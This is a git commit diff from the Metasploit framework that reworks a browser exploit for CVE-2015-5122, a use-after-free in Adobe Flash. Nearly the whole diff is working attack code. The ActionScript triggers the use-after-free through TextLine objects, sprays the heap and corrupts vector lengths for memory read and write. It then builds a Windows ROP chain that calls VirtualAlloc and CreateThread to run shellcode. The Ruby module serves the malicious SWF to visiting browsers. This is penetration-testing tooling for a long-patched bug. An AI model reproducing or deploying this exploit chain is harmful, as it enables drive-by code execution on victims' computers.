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metasploit-framework
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Improve adobe_flash_opaque_background_uaf

bug/bundler_fix
jvazquez-r7 2015-07-16 14:56:32 -05:00
parent 18ca617c23
commit 255d8ed096
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
6 changed files with 128 additions and 162 deletions
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data/exploits/CVE-2015-5122/msf.swf
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13
external/source/exploits/CVE-2015-5122/Exploit.as vendored
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@ -11,27 +11,24 @@ package
private var b64:Base64Decoder = new Base64Decoder()
private var payload:ByteArray
private var platform:String
private var os:String
public function Exploit():void
{
//trace("Got to checkpoint 0");
if (stage) init();
else addEventListener(Event.ADDED_TO_STAGE, init);
if (stage) init();
else addEventListener(Event.ADDED_TO_STAGE, init);
}
private function init(e:Event = null):void
{
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()
removeEventListener(Event.ADDED_TO_STAGE, init);
MyClass.TryExpl(this, platform, os, payload)
removeEventListener(Event.ADDED_TO_STAGE, init);
MyClass.TryExpl(this, platform, payload, 1)
}
}
}

146
external/source/exploits/CVE-2015-5122/Exploiter.as vendored
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@ -11,27 +11,33 @@ package
private var eba:ExploitByteArray
private var payload:ByteArray
private var platform:String
private var op_system:String
private var pos:uint
private var byte_array_object:uint
private var main:uint
private var stack_object:uint
private var payload_space_object:uint
private var buffer_object:uint
private var magic:uint
private var magic_arg0:uint
private var magic_arg1:uint
private var magic_object:uint
private var magic_table:uint
private var buffer:uint
private var vtable:uint
private var stack_address:uint
private var payload_address:uint
private var stub_address:uint
private var stub_space_object:uint
private var stub:Vector.<uint> = new Vector.<uint>(8)
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(90000)
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>, uv_length:uint):void
public function Exploiter(exp:Exploit, pl:String, p:ByteArray, uv:Vector.<uint>, uv_length:uint):void
{
exploit = exp
payload = p
platform = pl
op_system = os
ev = new ExploitVector(uv, uv_length)
if (!ev.is_ready()) return
@ -49,9 +55,18 @@ package
cleanup()
}
static function Magic(...a){}
private function spray_objects():void
{
Logger.log("[*] Exploiter - spray_objects()")
// mov eax,[esp+0x4]
// xchg eax,esp
// rets
stub[0] = 0x0424448B
stub[1] = 0x0000C394
for (var i:uint = 0; i < spray.length; i++)
{
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
@ -59,6 +74,8 @@ package
spray[i][1] = exploit
spray[i][2] = stack
spray[i][3] = payload_space
spray[i][4] = Magic
spray[i][5] = stub
}
}
@ -76,6 +93,8 @@ package
main = ev.at(pos + 1) - 1
stack_object = ev.at(pos + 2) - 1
payload_space_object = ev.at(pos + 3) - 1
magic = ev.at(pos + 4) - 1
stub_space_object = ev.at(pos + 5) - 1
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
return false
}
@ -98,6 +117,11 @@ package
vtable = ev.read(main)
stack_address = ev.read(stack_object + 0x18)
payload_address = ev.read(payload_space_object + 0x18)
stub_address = ev.read(stub_space_object + 0x18)
magic_object = ev.read(ev.read(ev.read(ev.read(magic + 8) + 0x14) + 4) + 0xb0)
magic_table = ev.read(magic_object)
magic_arg0 = ev.read(magic + 0x1c)
magic_arg1 = ev.read(magic + 0x20)
}
private function corrupt_byte_array():void
@ -138,13 +162,7 @@ package
if (platform == "linux") {
do_rop_linux()
} else if (platform == "win") {
if (op_system == "Windows 8.1") {
do_rop_windows8()
} else if (op_system == "Windows 7") {
do_rop_windows()
} else {
return
}
do_rop_windows()
} else {
return
}
@ -167,88 +185,20 @@ package
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, magic_table, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, magic_object, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
eba.write(0, "\x87\xf4\xc2\x10\x00", false) // xchg esi, esp # ret 0x10
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
// Put the fake stack on memory
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7f6e0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7f6e0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7f6e0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_windows8():void
{
Logger.log("[*] Exploiter - do_rop_windows8()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var advapi32:uint = pe.module("advapi32.dll", flash)
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
var createthread:uint = pe.procedure("CreateThread", kernelbase)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
@ -257,14 +207,14 @@ package
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7ffd0000)
eba.write(0, 0x7f6e0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7ffd0000)
eba.write(0, 0x7f6e0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
@ -273,13 +223,31 @@ package
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7ffd0000)
eba.write(0, 0x7f6e0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
for (var i:uint; i < 0x100; i++) {
eba.write(stack_address + 8 + (i * 4), eba.read(magic_table - 0x80 + i * 4))
}
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
// VirtualProtect the stub with a *reliable* stackpivot
eba.write(stack_address + 8 + 0x80 + 28, virtualprotect)
eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored)
eba.write(magic + 0x1c, stub_address)
eba.write(magic + 0x20, 0x10)
var args:Array = new Array(0x41)
Magic.call.apply(null, args);
// Call to our stackpivot and init the rop chain
eba.write(stack_address + 8 + 0x80 + 28, stub_address + 8)
eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored)
eba.write(magic + 0x1c, stack_address + 0x18000)
Magic.call.apply(null, null);
eba.write(magic_object, magic_table);
eba.write(magic + 0x1c, magic_arg0)
eba.write(magic + 0x20, magic_arg1)
}
private function do_rop_linux():void

2
external/source/exploits/CVE-2015-5122/Logger.as vendored
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@ -3,7 +3,7 @@ package
import flash.external.ExternalInterface
public class Logger {
private static const DEBUG:uint = 1
private static const DEBUG:uint = 0
public static function alert(msg:String):void
{

100
external/source/exploits/CVE-2015-5122/MyClass.as vendored
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@ -14,101 +14,108 @@
static var
_gc:Array,
_ar:Array,
_arLen1:int,
_arLen2:int,
_ar_reuse:Array,
_ar_text_line:Array,
_arLen:int,
_ar_reuseLen:int,
_ar_text_lineLen:int,
_vu:Vector.<uint>,
_vo:Vector.<Object>,
_tb:TextBlock,
_tl:TextLine,
_mc:MyClass,
_is64 = null,
_chrome:Boolean,
_done:Boolean,
_cnt:int,
_vLen:int,
_magic:uint = 0x123456,
LEN40:uint = 0x40000000;
static function valueOf2()
{
try
{
if (++_cnt < _arLen2) {
// recursive call for next TextLine
_ar[_cnt].opaqueBackground = _mc;
{
if (++_cnt < _ar_text_lineLen) {
//recursive call for next TextLine
_ar_text_line[_cnt].opaqueBackground = _mc;
} else {
Logger.log("MyClass.valueOf2()");
// free internal objects
for(var i:int=1; i <= 5; i++)
_tb.recreateTextLine(_ar[_arLen2-i]);
for(var i:int = 1; i <= 19; i++)
_tb.recreateTextLine(_ar_text_line[_ar_text_lineLen - i]);
// reuse freed memory
for(i=_arLen2; i < _arLen; i++)
_ar[i].length = _vLen;
for(i=0; i < _ar_reuseLen; i++)
_ar_reuse[i].length = _vLen;
}
}
catch (e:Error)
{
Logger.log("valueOf2 " + e.toString());
}
return _vLen+8;
}
static function TryExpl(e:Exploit, platform:String, os:String, payload:ByteArray)
static function TryExpl(e:Exploit, platform:String, payload:ByteArray, try_number:uint)
{
if (try_number > 3)
return
try
{
// init vars
Logger.log("init vars")
_arLen1 = 10 * 3; // 10 vectors per page
_arLen2 = _arLen1 + 4 * 4; // 4 TextLine per page
_arLen = _arLen2 + 10 * 8;
_arLen = 30
_ar_text_lineLen = 50
_ar_reuseLen = 80
_ar = new Array(_arLen);
_ar_text_line = new Array(_ar_text_lineLen)
_ar_reuse = new Array(_ar_reuseLen)
if (!_gc) _gc = new Array();
_gc.push(_ar);
_gc.push(_ar_text_line);
_gc.push(_ar_reuse);
if (!_tb) {
_tb = new TextBlock(new TextElement("TextElement", new ElementFormat()));
if (!_tb) throw new Error("_tb = " + _tb);
}
_mc = new MyClass();
_vLen = 400/4-2;
// fill 400-byte holes (400 is factor of 0x320(800) opaqueBackground corruption offset)
Logger.log("fill 400-byte holes (400 is factor of 0x320(800) opaqueBackground corruption offset)")
for(var i:int; i < _arLen1; i++)
_ar[i] = new Vector.<uint>(_vLen);
for(var i:uint = 0; i < _arLen; i++)
_ar[i] = new Vector.<uint>(_vLen)
// prepare Vector objects
Logger.log("prepare Vector objects")
for(i=_arLen2; i < _arLen; i++){
_ar[i] = new Vector.<uint>(8);
_ar[i][0] = i;
for(i = 0; i < _ar_reuseLen; i++) {
_ar_reuse[i] = new Vector.<uint>(8);
_ar_reuse[i][0] = i;
_ar_reuse[i][1] = 0xdeedbeef
}
// prepare TextLines
Logger.log("prepare TextLines")
for(i=_arLen1; i < _arLen2; i++)
_ar[i] = _tb.createTextLine();
for(i = 0; i < _ar_text_lineLen; i++)
_ar_text_line[i] = _tb.createTextLine()
// fill 1016-byte holes (0x38c is a size of internal TextLine object)
Logger.log("fill 1016-byte holes (0x38c is a size of internal TextLine object)")
for(i=_arLen1; i < _arLen2; i++)
_ar[i].opaqueBackground = 1; // alloc 1016 bytes
for(i = 0; i < _ar_text_lineLen; i++)
_ar_text_line[i].opaqueBackground = 1 // alloc 1016 bytes
// set custom valueOf() for _mc
Logger.log("set custom valueOf() for _mc")
MyClass.prototype.valueOf = valueOf2;
MyClass.prototype.valueOf = valueOf2
// here we go, call the vulnerable setter
Logger.log("here we go, call the vulnerable setter")
_cnt = _arLen2-6;
_ar[_cnt].opaqueBackground = _mc;
//_cnt = _ar_text_lineLen - 6
_cnt = _ar_text_lineLen - 20
_ar_text_line[_cnt].opaqueBackground = _mc
// find corrupted vector length
Logger.log("find corrupted vector length ")
for(i=_arLen2; i < _arLen; i++) {
_vu = _ar[i];
for(i=0; i < _ar_reuseLen; i++) {
_vu = _ar_reuse[i];
if (_vu.length > _vLen+2) {
Logger.log("ar["+i.toString()+"].length = " + _vu.length.toString(16));
Logger.log("ar["+i.toString()+"]["+_vLen.toString(16)+"] = " + _vu[_vLen].toString(16));
@ -116,7 +123,7 @@
// corrupt next vector
_vu[_vLen] = LEN40;
// get corrupted vector
_vu = _ar[_vu[_vLen+2]];
_vu = _ar_reuse[_vu[_vLen+2]];
break;
}
};// else CheckCorrupted(_vu, i); // 4RnD
@ -124,16 +131,17 @@
// check results
Logger.log("v.length = " + _vu.length.toString(16));
if (_vu.length < LEN40) throw new Error("try again");
var exploiter:Exploiter = new Exploiter(e, platform, os, payload, _vu, 0x62)
// clean up
Logger.log("_vu.length = " + _vu.length.toString(16));
var exploiter:Exploiter = new Exploiter(e, platform, payload, _vu, 0x62)
}
catch (e:Error)
catch (err:Error)
{
Logger.log("TryExpl " + e.toString());
Logger.log("TryExpl " + err.toString());
if (err.toString().indexOf("try again") != -1) {
MyClass.TryExpl(e, platform, payload, try_number + 1)
}
}
}

29
modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb
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@ -6,7 +6,7 @@
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
Rank = GoodRanking
include Msf::Exploit::Remote::BrowserExploitServer
@ -24,9 +24,10 @@ class Metasploit3 < Msf::Exploit::Remote
Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194,
Windows 7 SP1 (32-bit), IE9 and Adobe Flash Flash 18.0.0.203,
Windows 7 SP1 (32-bit), Firefox + Adobe Flash 18.0.0.194,
windows 8.1, Firefox and Adobe Flash 18.0.0.203,
Windows 8.1, Firefox and Adobe Flash 18.0.0.160, and
Windows 8.1, Firefox and Adobe Flash 18.0.0.194
Windows 8.1 (32-bit), IE11 and Adobe Flash 18.0.0.194,
windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.203,
Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.160 and
Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.194
},
'License' => MSF_LICENSE,
'Author' =>
@ -38,7 +39,9 @@ class Metasploit3 < Msf::Exploit::Remote
'References' =>
[
['CVE', '2015-5122'],
['URL', 'https://www.fireeye.com/blog/threat-research/2015/07/cve-2015-5122_-_seco.html']
['URL', 'https://www.fireeye.com/blog/threat-research/2015/07/cve-2015-5122_-_seco.html'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-04.html'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-18.html']
],
'Payload' =>
{
@ -93,12 +96,6 @@ class Metasploit3 < Msf::Exploit::Remote
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if target_info[:os_name] =~ OperatingSystems::Match::WINDOWS_81 && target_info[:ua_ver] == '11.0'
print_warning("Target setup not supported")
send_not_found(cli)
return
end
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
@ -113,20 +110,16 @@ class Metasploit3 < Msf::Exploit::Remote
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
b64_payload = Rex::Text.encode_base64(target_payload)
os_name = target_info[:os_name]
if target.name =~ /Windows/
platform_id = 'win'
end
platform_id = 'win'
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>" Play="true"/>
</object>
</body>
</html>